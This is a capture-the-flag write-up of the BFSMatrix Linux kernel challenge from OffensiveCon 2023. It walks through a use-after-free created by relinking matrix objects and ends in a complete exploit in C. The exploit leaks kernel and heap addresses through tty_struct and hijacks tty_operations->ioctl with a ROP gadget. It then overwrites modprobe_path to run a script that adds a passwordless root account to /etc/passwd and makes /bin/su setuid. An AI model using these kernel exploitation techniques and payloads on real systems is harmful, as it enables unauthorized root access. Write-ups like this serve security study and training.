Write up BFSMatrix Offsensive Con 2023 The original tweet
Attachment
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 struct matrix { int rows; int cols; uint8_t * data; char name[MAX_MATRIX_NAME]; struct matrix * link ; struct task_struct * task ; spinlock_t lock; }; ... static int bfs_matrix_pos ( struct matrix* matrix, struct matrix_pos __user* upos, int write) { uint8_t * byte = NULL ; struct matrix * target = NULL ; struct matrix_pos kpos = {0 }; if (copy_from_user(&kpos, upos, sizeof (struct matrix_pos))) return -EFAULT; spin_lock(&matrix->lock); if (write) { if (matrix->link) { target = matrix->link; spin_lock(&target->lock); } spin_unlock(&matrix->lock); } else { target = matrix; } ... static int matrix_do_link (struct matrix* matrix, int ufd) { int error = -EINVAL; struct matrix * link = NULL ; struct fd f = fdget(ufd); if (! f.file) return -EBADF; link = f.file->private_data; if (f.file->f_op != &matrix_fops) goto err; if (matrix == link) goto err; if (matrix < link) { spin_lock(&matrix->lock); spin_lock(&link->lock); } else { spin_lock(&link->lock); spin_lock(&matrix->lock); } matrix->link = link; link->link = matrix; spin_unlock(&matrix->lock); spin_unlock(&link->lock); error = 0 ; err: fdput(f); return error; }
The matrix_do_link
function allows us to link a matrix to another. The bfs_matrix_pos
function only lets us read the data of the matrix itself and overwrite the data of its link rather than itself. But what if we close the file that contains the linked matrix? Let’s check the release function:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 static int matrix_release (struct inode* inode, struct file* file) { struct matrix * matrix = file->private_data; spin_lock(&matrix->lock); if (matrix->link) matrix->link->link = NULL ; if (matrix->data) kfree(matrix->data); spin_unlock(&matrix->lock); kfree(matrix); return 0 ; }
So the matrix_release
function unlinks 2 two matrixes before calling kfree
, so we can’t trigger the UAF bug now.
But what if I unlink 2 matrixes before deleting one of them?
So, here is my strategy:
Link matrix1 <-> matrix2
Link matrix2 <-> matrix3, now matrix2->link = matrix3
and matrix3->link = matrix2
but still have matrix1->link = matrix2
So, now if I delete matrix2
, I can still overwite its old data via matrix1
-> the UAF bug.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int fd1 = openDEV(); int fd2 = openDEV();if (do_link(fd1,fd2) < 0 ) errExit("Do_link" ); logInfo("Link fd1 <-> fd2: done." ); int fd3 = openDEV();if (do_link(fd2,fd3) < 0 ) errExit("do_link" ); logInfo("Link fd2 <-> fd3: done. But fd1 -> fd2 ?" ); close(fd2); logInfo("Closed fd2" );
But we still need leak heap address and kernel base address.
The function matrix_set_info
allows us to set any size for the matrix via matrix->data = kmalloc(matrix->rows * matrix->cols, GFP_KERNEL);
So I will take advantage of struct tty_struct
to leak:
We can leak kernel base address via offset 0x18 and heap address via offset 0x38.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 int set_info (int devfd, struct matrix_info* info) { return ioctl(devfd,IOCTL_MATRIX_SET_INFO,info); } int do_link (int devfd1, int devfd2) { return ioctl(devfd1,IOCTL_MATRIX_DO_LINK,devfd2); } int setname (int devfd,char * name) { return ioctl(devfd,IOCTL_MATRIX_SET_NAME,name); } void readMATRIX64 (int devfd, uint64_t * need, off64_t offset) { struct matrix_pos leaker = {0 }; leaker.col = 0 ; for (uint32_t i = 0 ; i < 8 ; ++i ){ leaker.row = offset+i; ioctl(devfd,IOCTL_MATRIX_GET_POS,&leaker); ((char *)need)[i] = leaker.byte; } } void writeMATRIX64 (int devfd, uint64_t * todo, off64_t offset) { struct matrix_pos write_pos = {0 }; write_pos.col = 0 ; for (uint32_t i = 0 ; i < 8 ; ++i){ write_pos.row = offset+i; write_pos.byte = ((char *)todo)[i]; ioctl(devfd,IOCTL_MATRIX_SET_POS,&write_pos); } } int main (int argc,char ** argv,char ** envp) { int fd1 = openDEV(); int ptmx_fd = open("/dev/ptmx" ,O_RDWR); uint64_t chunk_addr1 = 0 ; if (ptmx_fd < 0 ) errExit("Open ptmx" ); struct matrix_info info1 = { .rows = 0x2e0 , .cols = 1 }; close(ptmx_fd); if (set_info(fd1,&info1) < 0 ) errExit("Set info fd1" ); logInfo("Set fd1 info: done." ); readMATRIX64(fd1,&chunk_addr1,0x38 ); chunk_addr1 -= 0x38 ; logInfo("Chunk1 @ %p" ,(void *)chunk_addr1); int fd2 = openDEV(); ptmx_fd = open("/dev/ptmx" ,O_RDWR); if (ptmx_fd < 0 ) errExit("Open ptmx" ); struct matrix_info info2 = { .rows = 0x2e0 , .cols = 1 }; close(ptmx_fd); if (set_info(fd2,&info2) < 0 ) errExit("Set info fd2" ); logInfo("Set fd2 info: done." ); if (do_link(fd1,fd2) < 0 ) errExit("Do_link" ); logInfo("Link fd1 <-> fd2: done." ); uint64_t ptm_unix98_ops = 0 ; uint64_t chunk_addr2 = 0 ; readMATRIX64(fd2,&ptm_unix98_ops,0x18 ); readMATRIX64(fd2,&chunk_addr2,0x38 ); chunk_addr2 -= 0x38 ; logInfo("ptm_unix98_ops = %p" ,(void *)ptm_unix98_ops); logInfo("Chunk2 @ %p" ,(void *)chunk_addr2); int fd3 = openDEV(); if (do_link(fd2,fd3) < 0 ) errExit("do_link" ); logInfo("Link fd2 <-> fd3: done. But fd1 -> fd2 ?" ); close(fd2); logInfo("Closed fd2" ); struct matrix_info info3 = { .rows = sizeof (struct matrix), .cols = 1 }; if (set_info(fd3,&info3)) errExit("set_info 3" ); logInfo("Allocate matrix3->data dup matrix2" );
In the matrix_open
, we know that the matrix is also allocated via kzalloc
:
1 2 3 4 5 6 7 8 9 10 static int matrix_open (struct inode* inode, struct file* file) { struct matrix * matrix = NULL ; file->private_data = kzalloc(sizeof (struct matrix), GFP_KERNEL); if (! file->private_data) return -ENOMEM; matrix = file->private_data;
So I will allocate 64 bytes (size of struct matrix
) for matrix3->data
, matrix3->data
will overlap with matrix2
.
Also, creating and linking matrix4
to matrix3
to write data to matrix3->data
.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 struct matrix_info info3 = { .rows = sizeof (struct matrix), .cols = 1 }; if (set_info(fd3,&info3)) errExit("set_info 3" ); logInfo("Allocate matrix3->data dup matrix2" ); int fd4 = openDEV(); if (do_link(fd3,fd4)) errExit("do_link" ); logInfo("Link fd4 <-> fd3" ); uint32_t rowcol[2 ] = {0x100 ,0x100 }; writeMATRIX64(fd4,(uint64_t *)rowcol,0 ); logInfo("write 0x100 0x100 to old matrix2{rows,cols}" );
I will set size of matrix2
is 0x100
x 0x100
.
Now allocating new struct tty_struct
, it will overlap with matrix2->data
because the latest freed 0x2e0-size chunk is matrix2->data
.
Overwrite .ops
of the new struct tty_struct
, we can control RIP ( I will set tty_struct->ops
= matrix3->data
).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ptmx_fd = open("/dev/ptmx" ,O_RDWR); if (ptmx_fd < 0 ) errExit("Open ptmx" ); logInfo("pmtx = matrix2->data" ); int _ = open("/dev/ptmx" ,O_RDWR);if (_ < 0 ) errExit("open ptmx" ); info3.rows = 0x2e0 ; close(_); if (set_info(fd3,&info3)) errExit("set_info 3" ); uint64_t chunk_addr3 = 0 ;readMATRIX64(fd3,&chunk_addr3,0x38 ); chunk_addr3 -= 0x38 ; logInfo("Chunk3 @ %p" ,(void *)chunk_addr3); uint64_t _text = ptm_unix98_ops - 0x82fb40 ;uint64_t modprobe_path = _text + 0xa51ba0 ;uint64_t rop = _text+0x2dd74f ; writeMATRIX64(fd4,&rop,offsetof(struct tty_operations,ioctl)); writeMATRIX64(fd1,&chunk_addr3,0x18 );
By using ROPgadget
, I see a useful gadget ( I don’t know why ROPgadget
is different from gdb
:) ) :
So, i will set tty_struct->ops->ioctl
= 0xffffffff811571d9
.
Finally, using that gadget to overwrite modprobe_path
to /home/user/vjp
and get root shell :) :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 uint64_t _text = ptm_unix98_ops - 0x82fb40 ;uint64_t modprobe_path = _text + 0xa51ba0 ;uint64_t rop = _text+0x2dd74f ; writeMATRIX64(fd4,&rop,offsetof(struct tty_operations,ioctl)); writeMATRIX64(fd1,&chunk_addr3,0x18 ); char * inject = "/home/user/vjp" ;for (uint64_t i = 0 ; i < strlen (inject)/4 +1 ; ++i){ ioctl(ptmx_fd,*(uint32_t *)(inject+4 *i),modprobe_path+4 *i); } int vjpfd = open("/home/user/vjp" ,O_CREAT | O_RDWR);if (vjpfd < 0 ) errExit("open /home/user/vjp" ); dprintf(vjpfd, "#!/bin/sh\n" "echo 'vjp::0:0:root:/:/bin/sh' >> /etc/passwd\n" "/bin/chmod +s /bin/su" ); close(vjpfd); if (chmod("/home/user/vjp" ,0777 )) errExit("chmod" ); int magic = open("/home/user/pwn" ,O_CREAT | O_RDWR);if (magic < 0 ) errExit("open /home/user/pwn" ); dprintf(magic,"\x13\x37\x42\x42" ); close(magic); if (chmod("/home/user/pwn" ,0777 )) errExit("chmod" ); system("/home/user/pwn" ); system("cat /etc/passwd" ); system("su vjp" ); }